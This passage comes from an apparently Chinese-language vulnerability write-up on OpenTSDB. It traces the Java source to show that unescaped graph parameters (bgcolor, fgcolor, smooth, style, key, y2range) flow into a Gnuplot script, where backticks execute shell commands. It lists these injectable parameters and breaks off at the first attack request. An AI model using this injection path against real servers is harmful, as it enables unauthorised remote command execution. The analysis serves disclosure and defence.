class="keyword">null</span>) &#123;</div><div class="line">    params.put(<span class="string">"logscale y"</span>, <span class="string">""</span>);</div><div class="line">  &#125;</div><div class="line">  <span class="keyword">if</span> ((value = popParam(querystring, <span class="string">"y2log"</span>)) != <span class="keyword">null</span>) &#123;</div><div class="line">    params.put(<span class="string">"logscale y2"</span>, <span class="string">""</span>);</div><div class="line">  &#125;</div><div class="line">  <span class="keyword">if</span> ((value = popParam(querystring, <span class="string">"key"</span>)) != <span class="keyword">null</span>) &#123;</div><div class="line">    params.put(<span class="string">"key"</span>, value);</div><div class="line">  &#125;</div><div class="line">  <span class="keyword">if</span> ((value = popParam(querystring, <span class="string">"title"</span>)) != <span class="keyword">null</span>) &#123;</div><div class="line">    params.put(<span class="string">"title"</span>, stringify(value));</div><div class="line">  &#125;</div><div class="line">  <span class="keyword">if</span> ((value = popParam(querystring, <span class="string">"bgcolor"</span>)) != <span class="keyword">null</span>) &#123;</div><div class="line">    params.put(<span class="string">"bgcolor"</span>, value);</div><div class="line">  &#125;</div><div class="line">  <span class="keyword">if</span> ((value = popParam(querystring, <span class="string">"fgcolor"</span>)) != <span class="keyword">null</span>) &#123;</div><div class="line">    params.put(<span class="string">"fgcolor"</span>, value);</div><div class="line">  &#125;</div><div class="line">  <span class="keyword">if</span> ((value = popParam(querystring, <span class="string">"smooth"</span>)) != <span class="keyword">null</span>) &#123;</div><div class="line">    params.put(<span class="string">"smooth"</span>, value);</div><div class="line">  &#125;</div><div class="line">  <span class="keyword">if</span> ((value = popParam(querystring, <span class="string">"style"</span>)) != <span class="keyword">null</span>) &#123;</div><div class="line">    params.put(<span class="string">"style"</span>, value);</div><div class="line">  &#125;</div><div class="line">  <span class="comment">// This must remain after the previous `if' in order to properly override</span></div><div class="line">  <span class="comment">// any previous `key' parameter if a `nokey' parameter is given.</span></div><div class="line">  <span class="keyword">if</span> ((value = popParam(querystring, <span class="string">"nokey"</span>)) != <span class="keyword">null</span>) &#123;</div><div class="line">    params.put(<span class="string">"key"</span>, <span class="keyword">null</span>);</div><div class="line">  &#125;</div><div class="line">  plot.setParams(params);</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>为方便起见，整理一下http请求参数、java代码、plot参数的对应关系。有一些参数经过了<code>stringify</code>，用于后续的JSON格式的转换。经过<code>stringify</code>的参数都会被双引号包含（见下面的代码），难以后续逃逸使用。还有一些参数直接被设定为空值。这些参数对应如下：</p>
<div class="table-container">
<table>
<thead>
<tr>
<th style="text-align:center">http请求参数</th>
<th style="text-align:center">Java代码</th>
<th style="text-align:center">plot参数</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">ylabel</td>
<td style="text-align:center">put(“ylabel”, stringify(value))</td>
<td style="text-align:center">ylabel</td>
</tr>
<tr>
<td style="text-align:center">y2label</td>
<td style="text-align:center">put(“y2label”, stringify(value))</td>
<td style="text-align:center">y2label</td>
</tr>
<tr>
<td style="text-align:center">yformat</td>
<td style="text-align:center">put(“format y”, stringify(value))</td>
<td style="text-align:center">format y</td>
</tr>
<tr>
<td style="text-align:center">y2format</td>
<td style="text-align:center">put(“format y2”, stringify(value))</td>
<td style="text-align:center">format y2</td>
</tr>
<tr>
<td style="text-align:center">xformat</td>
<td style="text-align:center">put(“format x”, stringify(value))</td>
<td style="text-align:center">format x</td>
</tr>
<tr>
<td style="text-align:center">ylog</td>
<td style="text-align:center">put(“logscale y”, “”)</td>
<td style="text-align:center">logscale y</td>
</tr>
<tr>
<td style="text-align:center">y2log</td>
<td style="text-align:center">put(“logscale y2”, “”)</td>
<td style="text-align:center">logscale y2</td>
</tr>
<tr>
<td style="text-align:center">title</td>
<td style="text-align:center">put(“title”, stringify(value))</td>
<td style="text-align:center">title</td>
</tr>
</tbody>
</table>
</div>
<p><code>stringify</code>定义在 src/tsd/GraphHandler.java:658 ：<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">static</span> String <span class="title">stringify</span><span class="params">(<span class="keyword">final</span> String s)</span> </span>&#123;</div><div class="line">  <span class="keyword">final</span> StringBuilder buf = <span class="keyword">new</span> StringBuilder(<span class="number">1</span> + s.length() + <span class="number">1</span>);</div><div class="line">  buf.append(<span class="string">'"'</span>);</div><div class="line">  HttpQuery.escapeJson(s, buf);  <span class="comment">// Abusing this function gets the job done.</span></div><div class="line">  buf.append(<span class="string">'"'</span>);</div><div class="line">  <span class="keyword">return</span> buf.toString();</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p><code>escapeJson</code>定义在 src/tsd/HttpQuery.java:471 中，主要对一些特殊字符进行转义：<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">escapeJson</span><span class="params">(<span class="keyword">final</span> String s, <span class="keyword">final</span> StringBuilder buf)</span> </span>&#123;</div><div class="line">  <span class="keyword">final</span> <span class="keyword">int</span> length = s.length();</div><div class="line">  <span class="keyword">int</span> extra = <span class="number">0</span>;</div><div class="line">  <span class="comment">// First count how many extra chars we'll need, if any.</span></div><div class="line">  <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; length; i++) &#123;</div><div class="line">    <span class="keyword">final</span> <span class="keyword">char</span> c = s.charAt(i);</div><div class="line">    <span class="keyword">switch</span> (c) &#123;</div><div class="line">      <span class="keyword">case</span> <span class="string">'"'</span>:</div><div class="line">      <span class="keyword">case</span> <span class="string">'\\'</span>:</div><div class="line">      <span class="keyword">case</span> <span class="string">'\b'</span>:</div><div class="line">      <span class="keyword">case</span> <span class="string">'\f'</span>:</div><div class="line">      <span class="keyword">case</span> <span class="string">'\n'</span>:</div><div class="line">      <span class="keyword">case</span> <span class="string">'\r'</span>:</div><div class="line">      <span class="keyword">case</span> <span class="string">'\t'</span>:</div><div class="line">        extra++;</div><div class="line">        <span class="keyword">continue</span>;</div><div class="line">    &#125;</div><div class="line">    <span class="keyword">if</span> (c &lt; <span class="number">0x001F</span>) &#123;</div><div class="line">      extra += <span class="number">4</span>;</div><div class="line">    &#125;</div><div class="line">  &#125;</div><div class="line">  <span class="keyword">if</span> (extra == <span class="number">0</span>) &#123;</div><div class="line">    buf.append(s);  <span class="comment">// Nothing to escape.</span></div><div class="line">    <span class="keyword">return</span>;</div><div class="line">  &#125;</div><div class="line">  buf.ensureCapacity(buf.length() + length + extra);</div><div class="line">  <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; length; i++) &#123;</div><div class="line">    <span class="keyword">final</span> <span class="keyword">char</span> c = s.charAt(i);</div><div class="line">    <span class="keyword">switch</span> (c) &#123;</div><div class="line">      <span class="keyword">case</span> <span class="string">'"'</span>:  buf.append(<span class="string">'\\'</span>).append(<span class="string">'"'</span>);  <span class="keyword">continue</span>;</div><div class="line">      <span class="keyword">case</span> <span class="string">'\\'</span>: buf.append(<span class="string">'\\'</span>).append(<span class="string">'\\'</span>); <span class="keyword">continue</span>;</div><div class="line">      <span class="keyword">case</span> <span class="string">'\b'</span>: buf.append(<span class="string">'\\'</span>).append(<span class="string">'b'</span>);  <span class="keyword">continue</span>;</div><div class="line">      <span class="keyword">case</span> <span class="string">'\f'</span>: buf.append(<span class="string">'\\'</span>).append(<span class="string">'f'</span>);  <span class="keyword">continue</span>;</div><div class="line">      <span class="keyword">case</span> <span class="string">'\n'</span>: buf.append(<span class="string">'\\'</span>).append(<span class="string">'n'</span>);  <span class="keyword">continue</span>;</div><div class="line">      <span class="keyword">case</span> <span class="string">'\r'</span>: buf.append(<span class="string">'\\'</span>).append(<span class="string">'r'</span>);  <span class="keyword">continue</span>;</div><div class="line">      <span class="keyword">case</span> <span class="string">'\t'</span>: buf.append(<span class="string">'\\'</span>).append(<span class="string">'t'</span>);  <span class="keyword">continue</span>;</div><div class="line">    &#125;</div><div class="line">    <span class="keyword">if</span> (c &lt; <span class="number">0x001F</span>) &#123;</div><div class="line">      buf.append(<span class="string">'\\'</span>).append(<span class="string">'u'</span>).append(<span class="string">'0'</span>).append(<span class="string">'0'</span>)</div><div class="line">        .append((<span class="keyword">char</span>) Const.HEX[(c &gt;&gt;&gt; <span class="number">4</span>) &amp; <span class="number">0x0F</span>])</div><div class="line">        .append((<span class="keyword">char</span>) Const.HEX[c &amp; <span class="number">0x0F</span>]);</div><div class="line">    &#125; <span class="keyword">else</span> &#123;</div><div class="line">      buf.append(c);</div><div class="line">    &#125;</div><div class="line">  &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>还有一些参数并没有经过转义等，如下表</p>
<div class="table-container">
<table>
<thead>
<tr>
<th style="text-align:center">http请求参数</th>
<th style="text-align:center">Java代码</th>
<th style="text-align:center">plot参数</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">yrange</td>
<td style="text-align:center">put(“yrange”, value)</td>
<td style="text-align:center">yrange</td>
</tr>
<tr>
<td style="text-align:center">y2range</td>
<td style="text-align:center">put(“y2range”, value)</td>
<td style="text-align:center">y2range</td>
</tr>
<tr>
<td style="text-align:center">key</td>
<td style="text-align:center">put(“key”, value)</td>
<td style="text-align:center">key</td>
</tr>
<tr>
<td style="text-align:center">bgcolor</td>
<td style="text-align:center">put(“bgcolor”, value)</td>
<td style="text-align:center">bgcolor</td>
</tr>
<tr>
<td style="text-align:center">fgcolor</td>
<td style="text-align:center">put(“fgcolor”, value)</td>
<td style="text-align:center">fgcolor</td>
</tr>
<tr>
<td style="text-align:center">smooth</td>
<td style="text-align:center">put(“smooth”, value)</td>
<td style="text-align:center">smooth</td>
</tr>
<tr>
<td style="text-align:center">style</td>
<td style="text-align:center">put(“style”, value)</td>
<td style="text-align:center">style</td>
</tr>
</tbody>
</table>
</div>
<p>在完成参数设置后，创建了一个<code>RunGnuplot</code>对象，其中前面解析到的参数即对应的写入到了<code>plot</code>属性中</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="class"><span class="keyword">class</span> <span class="title">RunGnuplot</span> <span class="keyword">implements</span> <span class="title">Runnable</span> </span>&#123;</div><div class="line"></div><div class="line">   <span class="keyword">private</span> <span class="keyword">final</span> HttpQuery query;</div><div class="line">   <span class="keyword">private</span> <span class="keyword">final</span> <span class="keyword">int</span> max_age;</div><div class="line">   <span class="keyword">private</span> <span class="keyword">final</span> Plot plot;</div><div class="line">   <span class="keyword">private</span> <span class="keyword">final</span> String basepath;</div><div class="line">   <span class="keyword">private</span> <span class="keyword">final</span> HashSet&lt;String&gt;[] aggregated_tags;</div><div class="line">   <span class="keyword">private</span> <span class="keyword">final</span> <span class="keyword">int</span> npoints;</div><div class="line"></div><div class="line">   <span class="function"><span class="keyword">public</span> <span class="title">RunGnuplot</span><span class="params">(<span class="keyword">final</span> HttpQuery query, </span></span></div><div class="line">                     <span class="keyword">final</span> <span class="keyword">int</span> max_age,</div><div class="line">                     <span class="keyword">final</span> Plot plot,</div><div class="line">                     <span class="keyword">final</span> String basepath,</div><div class="line">                     <span class="keyword">final</span> HashSet&lt;String&gt;[] aggregated_tags,</div><div class="line">                     <span class="keyword">final</span> <span class="keyword">int</span> npoints) &#123;</div><div class="line">     ... </div><div class="line">     <span class="keyword">this</span>.plot = plot;</div><div class="line"></div><div class="line">     <span class="keyword">if</span> (IS_WINDOWS)</div><div class="line">       <span class="keyword">this</span>.basepath = basepath.replace(<span class="string">"\\"</span>, <span class="string">"\\\\"</span>).replace(<span class="string">"/"</span>, <span class="string">"\\\\"</span>);</div><div class="line">     <span class="keyword">else</span></div><div class="line">       <span class="keyword">this</span>.basepath = basepath;</div><div class="line">     ...</div><div class="line">   &#125;</div></pre></td></tr></table></figure>
<p>在<code>doGraph</code>的最后执行了<code>execGnuplot(rungnuplot, query);</code>，即src/tsd/GraphHandler.java:256<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">execGnuplot</span><span class="params">(RunGnuplot rungnuplot, HttpQuery query)</span> </span>&#123;</div><div class="line">  <span class="keyword">try</span> &#123;</div><div class="line">    gnuplot.execute(rungnuplot);</div><div class="line">  &#125; <span class="keyword">catch</span> (RejectedExecutionException e) &#123;</div><div class="line">    query.internalError(<span class="keyword">new</span> Exception(<span class="string">"Too many requests pending,"</span></div><div class="line">                                      + <span class="string">" please try again later"</span>, e));</div><div class="line">  &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>这边<code>RunGnuplot</code>实现了<code>Runnable</code>接口，因此当线程开始执行时调用的是<code>RunGnuplot</code>的<code>run</code>方法：<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="class"><span class="keyword">class</span> <span class="title">RunGnuplot</span> <span class="keyword">implements</span> <span class="title">Runnable</span> </span>&#123;</div><div class="line">  ...</div><div class="line">  <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">run</span><span class="params">()</span> </span>&#123;</div><div class="line">    <span class="keyword">try</span> &#123;</div><div class="line">      execute();</div><div class="line">    &#125; <span class="keyword">catch</span> (BadRequestException e) &#123;</div><div class="line">      query.badRequest(e.getMessage());</div><div class="line">    &#125; <span class="keyword">catch</span> (GnuplotException e) &#123;</div><div class="line">      query.badRequest(<span class="string">"&lt;pre&gt;"</span> + e.getMessage() + <span class="string">"&lt;/pre&gt;"</span>);</div><div class="line">    &#125; <span class="keyword">catch</span> (RuntimeException e) &#123;</div><div class="line">      query.internalError(e);</div><div class="line">    &#125; <span class="keyword">catch</span> (IOException e) &#123;</div><div class="line">      query.internalError(e);</div><div class="line">    &#125;</div><div class="line">  &#125;</div></pre></td></tr></table></figure></p>
<p>跟入<code>execute()</code>:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line">  <span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">execute</span><span class="params">()</span> <span class="keyword">throws</span> IOException </span>&#123;</div><div class="line">    <span class="keyword">final</span> <span class="keyword">int</span> nplotted = runGnuplot(query, basepath, plot);</div><div class="line">    ...</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>跟入<code>runGnuplot</code>，位置在src/tsd/GraphHandler.java:758<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">int</span> <span class="title">runGnuplot</span><span class="params">(<span class="keyword">final</span> HttpQuery query,</span></span></div><div class="line">                       <span class="keyword">final</span> String basepath,</div><div class="line">                       <span class="keyword">final</span> Plot plot) <span class="keyword">throws</span> IOException &#123;</div><div class="line">   <span class="keyword">final</span> <span class="keyword">int</span> nplotted = plot.dumpToFiles(basepath);</div><div class="line">   </div><div class="line">   ...</div><div class="line"></div><div class="line">   <span class="keyword">final</span> Process gnuplot = <span class="keyword">new</span> ProcessBuilder(GNUPLOT,</div><div class="line">     basepath + <span class="string">".out"</span>, basepath + <span class="string">".err"</span>, basepath + <span class="string">".gnuplot"</span>).start();</div><div class="line">   ...</div><div class="line"></div><div class="line">   <span class="keyword">return</span> nplotted;</div><div class="line"> &#125;</div></pre></td></tr></table></figure></p>
<p><code>dumpToFiles</code>方法定义在<code>src/graph/Plot.java:196</code>:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">int</span> <span class="title">dumpToFiles</span><span class="params">(<span class="keyword">final</span> String basepath)</span> <span class="keyword">throws</span> IOException </span>&#123;</div><div class="line">  <span class="keyword">int</span> npoints = <span class="number">0</span>;</div><div class="line">  <span class="keyword">final</span> <span class="keyword">int</span> nseries = datapoints.size();</div><div class="line">  <span class="keyword">final</span> String datafiles[] = nseries &gt; <span class="number">0</span> ? <span class="keyword">new</span> String[nseries] : <span class="keyword">null</span>;</div><div class="line">  FileSystem.checkDirectory(<span class="keyword">new</span> File(basepath).getParent(),</div><div class="line">      Const.MUST_BE_WRITEABLE, Const.CREATE_IF_NEEDED);</div><div class="line"> </div><div class="line">  ... <span class="comment">// 省略一些初始化的文件写入操作</span></div><div class="line"></div><div class="line">  <span class="keyword">if</span> (npoints == <span class="number">0</span>) &#123;</div><div class="line">    <span class="comment">// 之前提到的 yrange 是通过put("yrange", value)获得</span></div><div class="line">    <span class="comment">// 但在这里由于某些条件(npoints == 0)会直接被硬编码为 [0:10]</span></div><div class="line">    params.put(<span class="string">"yrange"</span>, <span class="string">"[0:10]"</span>);  <span class="comment">// Doesn't matter what values we use.</span></div><div class="line">  &#125;</div><div class="line">  writeGnuplotScript(basepath, datafiles);</div><div class="line">  <span class="keyword">return</span> npoints;</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>跟入<code>writeGnuplotScript(basepath, datafiles)</code>，这个方法会生成真正的Gnuplot脚本，方便起见我往里面加了注释<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div><div class="line">63</div><div class="line">64</div><div class="line">65</div><div class="line">66</div><div class="line">67</div><div class="line">68</div><div class="line">69</div><div class="line">70</div><div class="line">71</div><div class="line">72</div><div class="line">73</div><div class="line">74</div><div class="line">75</div><div class="line">76</div><div class="line">77</div><div class="line">78</div><div class="line">79</div><div class="line">80</div><div class="line">81</div><div class="line">82</div><div class="line">83</div><div class="line">84</div><div class="line">85</div><div class="line">86</div><div class="line">87</div><div class="line">88</div></pre></td><td class="code"><pre><div class="line"><span class="comment">/**</span></div><div class="line"> * Generates the Gnuplot script.</div><div class="line"> * <span class="doctag">@param</span> basepath The base path to use.</div><div class="line"> * <span class="doctag">@param</span> datafiles The names of the data files that need to be plotted,</div><div class="line"> * in the order in which they ought to be plotted.  It is assumed that</div><div class="line"> * the ith file will correspond to the ith entry in &#123;<span class="doctag">@code</span> datapoints&#125;.</div><div class="line"> * Can be &#123;<span class="doctag">@code</span> null&#125; if there's no data to plot.</div><div class="line"> */</div><div class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">writeGnuplotScript</span><span class="params">(<span class="keyword">final</span> String basepath,</span></span></div><div class="line">                                <span class="keyword">final</span> String[] datafiles) <span class="keyword">throws</span> IOException &#123;</div><div class="line">  <span class="keyword">final</span> String script_path = basepath + <span class="string">".gnuplot"</span>;</div><div class="line"></div><div class="line">  <span class="comment">// gp即要生成的Gnuplot脚本</span></div><div class="line">  <span class="keyword">final</span> PrintWriter gp = <span class="keyword">new</span> PrintWriter(script_path);</div><div class="line">  <span class="keyword">try</span> &#123;</div><div class="line">    <span class="comment">// XXX don't hardcode all those settings.  At least not like that.</span></div><div class="line">    gp.append(<span class="string">"set term png small size "</span>)</div><div class="line">      <span class="comment">// Why the fuck didn't they also add methods for numbers?</span></div><div class="line">      .append(Short.toString(width)).append(<span class="string">","</span>)</div><div class="line">      .append(Short.toString(height));</div><div class="line">    </div><div class="line">    <span class="comment">// 获取了 smooth，fgcolor，style，bgcolor这四个参数</span></div><div class="line">    <span class="keyword">final</span> String smooth = params.remove(<span class="string">"smooth"</span>);</div><div class="line">    <span class="keyword">final</span> String fgcolor = params.remove(<span class="string">"fgcolor"</span>);</div><div class="line">    <span class="keyword">final</span> String style = params.remove(<span class="string">"style"</span>);</div><div class="line">    String bgcolor = params.remove(<span class="string">"bgcolor"</span>);</div><div class="line">    </div><div class="line">    <span class="comment">// 一些边界情况</span></div><div class="line">    <span class="keyword">if</span> (fgcolor != <span class="keyword">null</span> &amp;&amp; bgcolor == <span class="keyword">null</span>) &#123;</div><div class="line">      bgcolor = <span class="string">"xFFFFFF"</span>;  <span class="comment">// So use a default.</span></div><div class="line">    &#125;</div><div class="line">    <span class="keyword">if</span> (bgcolor != <span class="keyword">null</span>) &#123;</div><div class="line">      <span class="keyword">if</span> (fgcolor != <span class="keyword">null</span> &amp;&amp; <span class="string">"transparent"</span>.equals(bgcolor)) &#123;</div><div class="line">        bgcolor = <span class="string">"transparent xFFFFFF"</span>;</div><div class="line">      &#125;</div><div class="line">      <span class="comment">//  往Gnuplot脚本中写入参数bgcolor</span></div><div class="line">      gp.append(<span class="string">' '</span>).append(bgcolor);</div><div class="line">    &#125;</div><div class="line">    <span class="keyword">if</span> (fgcolor != <span class="keyword">null</span>) &#123;</div><div class="line">      <span class="comment">//  往Gnuplot脚本中写入参数fgcolor</span></div><div class="line">      gp.append(<span class="string">' '</span>).append(fgcolor);</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    gp.append(<span class="string">"\n"</span></div><div class="line">              + <span class="string">"set xdata time\n"</span></div><div class="line">              + <span class="string">"set timefmt \"%s\"\n"</span></div><div class="line">              + <span class="string">"if (GPVAL_VERSION &lt; 4.6) set xtics rotate; else set xtics rotate right\n"</span></div><div class="line">              + <span class="string">"set output \""</span>).append(basepath + <span class="string">".png"</span>).append(<span class="string">"\"\n"</span></div><div class="line">              + <span class="string">"set xrange [\""</span>)</div><div class="line">      .append(String.valueOf((start_time &amp; UNSIGNED) + utc_offset))</div><div class="line">      .append(<span class="string">"\":\""</span>)</div><div class="line">      .append(String.valueOf((end_time &amp; UNSIGNED) + utc_offset))</div><div class="line">      .append(<span class="string">"\"]\n"</span>);</div><div class="line">    <span class="comment">//  往Gnuplot脚本中写入参数format x 会被双引号包裹</span></div><div class="line">    <span class="keyword">if</span> (!params.containsKey(<span class="string">"format x"</span>)) &#123;</div><div class="line">      gp.append(<span class="string">"set format x \""</span>).append(xFormat()).append(<span class="string">"\"\n"</span>);</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    ....</div><div class="line"></div><div class="line">    <span class="keyword">if</span> (params != <span class="keyword">null</span>) &#123;</div><div class="line">      <span class="keyword">for</span> (<span class="keyword">final</span> Map.Entry&lt;String, String&gt; entry : params.entrySet()) &#123;</div><div class="line">        <span class="comment">// 对params中剩下的参数，key即名字，value即对应的值</span></div><div class="line">        <span class="keyword">final</span> String key = entry.getKey();</div><div class="line">        <span class="keyword">final</span> String value = entry.getValue();</div><div class="line">        <span class="keyword">if</span> (value != <span class="keyword">null</span>) &#123;</div><div class="line">          <span class="comment">// 往Gnuplot脚本中写入对应参数</span></div><div class="line">          gp.append(<span class="string">"set "</span>).append(key)</div><div class="line">            .append(<span class="string">' '</span>).append(value).write(<span class="string">'\n'</span>);</div><div class="line">        &#125; <span class="keyword">else</span> &#123;</div><div class="line">          gp.append(<span class="string">"unset "</span>).append(key).write(<span class="string">'\n'</span>);</div><div class="line">        &#125;</div><div class="line">      &#125;</div><div class="line">    &#125;</div><div class="line">    ...</div><div class="line">    gp.write(<span class="string">"plot "</span>);</div><div class="line">    <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; nseries; i++) &#123;</div><div class="line">      ...</div><div class="line">      </div><div class="line">      <span class="keyword">if</span> (smooth != <span class="keyword">null</span>) &#123;</div><div class="line">        <span class="comment">// 往Gnuplot脚本中写入对应 smooth 参数</span></div><div class="line">        gp.append(<span class="string">" smooth "</span>).append(smooth);</div><div class="line">      &#125;</div><div class="line">      <span class="comment">// TODO(tsuna): Escape double quotes in title.</span></div><div class="line">      <span class="comment">// 往Gnuplot脚本中写入对应 title 参数，但是被双引号包裹了</span></div><div class="line">      gp.append(<span class="string">" title \""</span>).append(title).write(<span class="string">'"'</span>);</div><div class="line">      ...</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>在完成了<code>plot.dumpToFiles(basepath);</code>后，开启子进程运行生成的Gnuplot脚本：<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">final</span> Process gnuplot = <span class="keyword">new</span> ProcessBuilder(GNUPLOT,</div><div class="line">      basepath + <span class="string">".out"</span>, basepath + <span class="string">".err"</span>, basepath + <span class="string">".gnuplot"</span>).start();</div></pre></td></tr></table></figure></p>
<p>而gnuplot中允许使用反引号来执行sh命令，</p>
<p>交互模式下：<br><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180731225945-5c96fb9c-94d2-1.png" alt="1.jpg"></p>
<p>脚本执行模式下：<br><img src="https://xzfile.aliyuncs.com/media/upload/picture/20180731225945-5cb0f308-94d2-1.png" alt="2.jpg"></p>
<p>因此我们可以通过远程控制特定的参数，使得Gnuplot在运行脚本时远程命令执行。支持远程命令执行的可控参数如下：</p>
<div class="table-container">
<table>
<thead>
<tr>
<th style="text-align:center">http请求参数</th>
<th style="text-align:center">Java代码</th>
<th style="text-align:center">plot参数</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">y2range</td>
<td style="text-align:center">put(“y2range”, value)</td>
<td style="text-align:center">y2range</td>
</tr>
<tr>
<td style="text-align:center">key</td>
<td style="text-align:center">put(“key”, value)</td>
<td style="text-align:center">key</td>
</tr>
<tr>
<td style="text-align:center">bgcolor</td>
<td style="text-align:center">put(“bgcolor”, value)</td>
<td style="text-align:center">bgcolor</td>
</tr>
<tr>
<td style="text-align:center">fgcolor</td>
<td style="text-align:center">put(“fgcolor”, value)</td>
<td style="text-align:center">fgcolor</td>
</tr>
<tr>
<td style="text-align:center">smooth</td>
<td style="text-align:center">put(“smooth”, value)</td>
<td style="text-align:center">smooth</td>
</tr>
<tr>
<td style="text-align:center">style</td>
<td style="text-align:center">put(“style”, value)</td>
<td style="text-align:center">style</td>
</tr>
<tr>
<td style="text-align:center">o</td>
<td style="text-align:center">省略</td>
<td style="text-align:center">省略</td>
</tr>
</tbody>
</table>
</div>
<h1 id="攻击流程"><a href="#攻击流程" class="headerlink" title="攻击流程"></a>攻击流程</h1><p>先查出可以使用的metrics<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">GET /suggest?type=metrics&amp;q= HTTP/1.1</div></pre></td></tr></table></figure></p>
